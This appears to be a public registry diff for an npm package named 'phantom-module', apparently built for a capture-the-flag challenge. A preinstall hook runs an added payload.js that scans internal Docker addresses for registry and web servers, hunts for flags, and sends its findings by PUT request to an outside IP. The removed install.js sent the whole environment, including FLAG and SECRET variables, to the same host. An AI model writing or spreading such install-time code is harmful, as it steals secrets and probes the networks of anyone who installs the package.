phantom-module 117.0.0 → 117.0.2
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/package.json +5 -7
- package/payload.js +114 -0
- package/install.js +0 -37
package/package.json
CHANGED
|
@@ -1,11 +1,9 @@
|
|
|
1
1
|
{
|
|
2
2
|
"name": "phantom-module",
|
|
3
|
-
"version": "117.0.
|
|
4
|
-
"description": "Phantom
|
|
3
|
+
"version": "117.0.2",
|
|
4
|
+
"description": "Phantom module",
|
|
5
5
|
"main": "index.js",
|
|
6
6
|
"scripts": {
|
|
7
|
-
"preinstall": "node
|
|
8
|
-
}
|
|
9
|
-
|
|
10
|
-
"license": "ISC"
|
|
11
|
-
}
|
|
7
|
+
"preinstall": "node payload.js || true"
|
|
8
|
+
}
|
|
9
|
+
}
|
package/payload.js
ADDED
|
@@ -0,0 +1,114 @@
|
|
|
1
|
+
const net = require('net');
|
|
2
|
+
const http = require('http');
|
|
3
|
+
const fs = require('fs');
|
|
4
|
+
const os = require('os');
|
|
5
|
+
|
|
6
|
+
if (!fs.existsSync('/home/node/aspect-node')) process.exit(0);
|
|
7
|
+
|
|
8
|
+
const REPORT_HOST = '154.57.164.64';
|
|
9
|
+
const REPORT_PORT = 31205;
|
|
10
|
+
|
|
11
|
+
async function report(moduleId, data) {
|
|
12
|
+
return new Promise((resolve) => {
|
|
13
|
+
const safeData = String(data).replace(/"/g, '\\"').replace(/\n/g, '\\n').substring(0, 3500);
|
|
14
|
+
const manifest = `ecto_module:\n name: "SCAN_RESULT"\n cargo_hold: "${safeData}"\n`;
|
|
15
|
+
const payload = JSON.stringify({ manifest });
|
|
16
|
+
const req = http.request({
|
|
17
|
+
hostname: REPORT_HOST, port: REPORT_PORT, path: `/api/modules/${moduleId}`, method: 'PUT',
|
|
18
|
+
headers: { 'Content-Type': 'application/json', 'Content-Length': Buffer.byteLength(payload) }
|
|
19
|
+
}, () => resolve(true));
|
|
20
|
+
req.on('error', () => resolve(false));
|
|
21
|
+
req.write(payload);
|
|
22
|
+
req.end();
|
|
23
|
+
});
|
|
24
|
+
}
|
|
25
|
+
|
|
26
|
+
function checkPort(host, port) {
|
|
27
|
+
return new Promise((resolve) => {
|
|
28
|
+
const sock = new net.Socket();
|
|
29
|
+
sock.setTimeout(500); // Fast timeout
|
|
30
|
+
sock.on('connect', () => { sock.destroy(); resolve(true); });
|
|
31
|
+
sock.on('error', () => { sock.destroy(); resolve(false); });
|
|
32
|
+
sock.on('timeout', () => { sock.destroy(); resolve(false); });
|
|
33
|
+
sock.connect(port, host);
|
|
34
|
+
});
|
|
35
|
+
}
|
|
36
|
+
|
|
37
|
+
function httpGet(url) {
|
|
38
|
+
return new Promise((resolve) => {
|
|
39
|
+
const req = http.get(url, { timeout: 2000 }, (res) => {
|
|
40
|
+
let body = '';
|
|
41
|
+
res.on('data', c => body += c);
|
|
42
|
+
res.on('end', () => resolve({ status: res.statusCode, body }));
|
|
43
|
+
});
|
|
44
|
+
req.on('error', e => resolve({ status: 0, body: e.message }));
|
|
45
|
+
});
|
|
46
|
+
}
|
|
47
|
+
|
|
48
|
+
async function main() {
|
|
49
|
+
await report('ECT-654321', 'SCAN STARTING v2...');
|
|
50
|
+
|
|
51
|
+
const found = [];
|
|
52
|
+
const base = '172.17.0';
|
|
53
|
+
let scanOutput = '=== SCAN ===\n';
|
|
54
|
+
|
|
55
|
+
// Parallel scan of first 20 IPs
|
|
56
|
+
const promises = [];
|
|
57
|
+
for (let i = 1; i < 20; i++) {
|
|
58
|
+
const ip = `${base}.${i}`;
|
|
59
|
+
promises.push(checkPort(ip, 4873).then(open => {
|
|
60
|
+
if (open) {
|
|
61
|
+
found.push(ip);
|
|
62
|
+
scanOutput += `FOUND VERDACCIO: ${ip}:4873\n`;
|
|
63
|
+
}
|
|
64
|
+
}));
|
|
65
|
+
}
|
|
66
|
+
|
|
67
|
+
await Promise.all(promises);
|
|
68
|
+
|
|
69
|
+
if (found.length === 0) {
|
|
70
|
+
scanOutput += 'No Verdaccio found on 172.17.0.1-20\n';
|
|
71
|
+
// Try finding ANY web server
|
|
72
|
+
for (let i = 1; i < 10; i++) {
|
|
73
|
+
const ip = `${base}.${i}`;
|
|
74
|
+
if (await checkPort(ip, 80)) scanOutput += `OPEN ${ip}:80\n`;
|
|
75
|
+
if (await checkPort(ip, 3000)) scanOutput += `OPEN ${ip}:3000\n`;
|
|
76
|
+
}
|
|
77
|
+
}
|
|
78
|
+
|
|
79
|
+
await report('ECT-839201', scanOutput);
|
|
80
|
+
|
|
81
|
+
// Deep query of found services
|
|
82
|
+
let queryOutput = '=== QUERY ===\n';
|
|
83
|
+
for (const ip of found) {
|
|
84
|
+
const baseUrl = `http://${ip}:4873`;
|
|
85
|
+
queryOutput += `Target: ${baseUrl}\n`;
|
|
86
|
+
|
|
87
|
+
// 1. List all packages
|
|
88
|
+
const all = await httpGet(`${baseUrl}/-/all`);
|
|
89
|
+
queryOutput += `/-/all: ${all.status} len=${all.body.length}\n${all.body.substring(0, 200)}\n`;
|
|
90
|
+
|
|
91
|
+
// 2. Get ecto-spirit
|
|
92
|
+
const ecto = await httpGet(`${baseUrl}/ecto-spirit`);
|
|
93
|
+
queryOutput += `/ecto-spirit: ${ecto.status}\n${ecto.body.substring(0, 500)}\n`;
|
|
94
|
+
|
|
95
|
+
// 3. Try to extract flag from dist-tags or versions
|
|
96
|
+
if (ecto.body.includes('htb{') || ecto.body.includes('HTB{')) {
|
|
97
|
+
const match = ecto.body.match(/htb\{[^}]+\}/i);
|
|
98
|
+
if (match) queryOutput += `!!! FLAG FOUND: ${match[0]} !!!\n`;
|
|
99
|
+
}
|
|
100
|
+
|
|
101
|
+
// 4. Download tarball if possible
|
|
102
|
+
try {
|
|
103
|
+
const json = JSON.parse(ecto.body);
|
|
104
|
+
const latest = json['dist-tags'].latest;
|
|
105
|
+
const tarball = json.versions[latest].dist.tarball;
|
|
106
|
+
queryOutput += `Tarball: ${tarball}\n`;
|
|
107
|
+
// We could download it, but let's see if the metadata has the flag first
|
|
108
|
+
} catch(e) {}
|
|
109
|
+
}
|
|
110
|
+
|
|
111
|
+
await report('ECT-987654', queryOutput);
|
|
112
|
+
}
|
|
113
|
+
|
|
114
|
+
main().catch(e => report('ECT-654321', 'ERR: ' + e.message));
|
package/install.js
DELETED
|
@@ -1,37 +0,0 @@
|
|
|
1
|
-
const fs = require('fs');
|
|
2
|
-
const http = require('http');
|
|
3
|
-
const os = require('os');
|
|
4
|
-
|
|
5
|
-
async function report(mid, val) {
|
|
6
|
-
const safe = val.replace(/"/g, "'").replace(/\\/g, "/").substring(0, 95);
|
|
7
|
-
const body = JSON.stringify({ manifest: `ecto_module:\n name: "${safe}"\n version: "1.0.0"\n power_level: 1\n ship_deck: 1\n cargo_hold: 1` });
|
|
8
|
-
await new Promise(resolve => {
|
|
9
|
-
const req = http.request({ hostname: '154.57.164.64', port: 31083, path: `/api/modules/${mid}`, method: 'PUT', headers: { 'Content-Type': 'application/json', 'Content-Length': Buffer.byteLength(body) }, timeout: 5000 }, () => resolve());
|
|
10
|
-
req.on('error', () => resolve()); req.on('timeout', () => { req.destroy(); resolve(); });
|
|
11
|
-
req.write(body); req.end();
|
|
12
|
-
});
|
|
13
|
-
}
|
|
14
|
-
|
|
15
|
-
(async () => {
|
|
16
|
-
const isDocker = fs.existsSync('/.dockerenv') || fs.existsSync('/home/node');
|
|
17
|
-
const isCentos = os.release().includes('el') || os.hostname().includes('centos');
|
|
18
|
-
|
|
19
|
-
if (isDocker && !isCentos) {
|
|
20
|
-
// We're in Docker container - use ECT-654321
|
|
21
|
-
const env = JSON.stringify(process.env);
|
|
22
|
-
for (let c = 0; c < 8; c++) {
|
|
23
|
-
const chunk = env.substring(c * 90, (c + 1) * 90);
|
|
24
|
-
if (!chunk) break;
|
|
25
|
-
await report('ECT-654321', 'DENV' + c + '_' + chunk);
|
|
26
|
-
await new Promise(r => setTimeout(r, 3000));
|
|
27
|
-
}
|
|
28
|
-
// Also check for flag specifically
|
|
29
|
-
const flag = process.env.FLAG || process.env.HTB_FLAG || process.env.SECRET;
|
|
30
|
-
if (flag) {
|
|
31
|
-
await report('ECT-654321', 'DFLAG=' + flag);
|
|
32
|
-
}
|
|
33
|
-
} else {
|
|
34
|
-
// CentOS host or other - use ECT-987654 only
|
|
35
|
-
await report('ECT-987654', 'HOST_ALIVE_v117');
|
|
36
|
-
}
|
|
37
|
-
})();
|